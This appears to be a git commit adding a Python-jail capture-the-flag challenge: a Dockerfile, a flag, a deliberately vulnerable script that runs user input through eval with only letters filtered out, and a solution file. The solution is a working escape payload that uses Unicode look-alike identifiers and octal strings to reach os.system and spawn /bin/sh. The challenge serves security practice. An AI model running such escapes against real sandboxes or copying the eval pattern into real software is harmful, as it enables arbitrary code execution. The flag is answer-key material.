chals: add __calc__

calc/Dockerfile

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+FROM pwn.red/jail
+COPY --from=python@sha256:bc78d3c007f86dbb87d711b8b082d9d564b8025487e780d24ccb8581d83ef8b0 / /srv
+COPY jail.py /srv/app/run
+COPY flag.txt /srv/app/flag.txt
+
+ENV JAIL_PORT=1338

calc/flag.txt

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+HoD2024{Styl3_and_R3fl3ct10n}

calc/jail.py

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+#!/usr/bin/python3
+# py calc
+alphanumeric = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
+
+while True:
+    payload = input("I'll crunch your number, not letters!\n")
+    if (any(c in alphanumeric for c in payload)):
+        print("NO!")
+        continue
+    try:
+        print(eval(payload, {'__builtins__': {}}, {}))
+    except Exception as e:
+        print("something went wrong")
+        print(e.__class__)

calc/sol

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+().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[-5].__𝘪𝘯𝘪𝘵__.__𝘨𝘭𝘰𝘣𝘢𝘭𝘴__["\163\171\163\164\145\155"]("\57\142\151\156\57\163\150")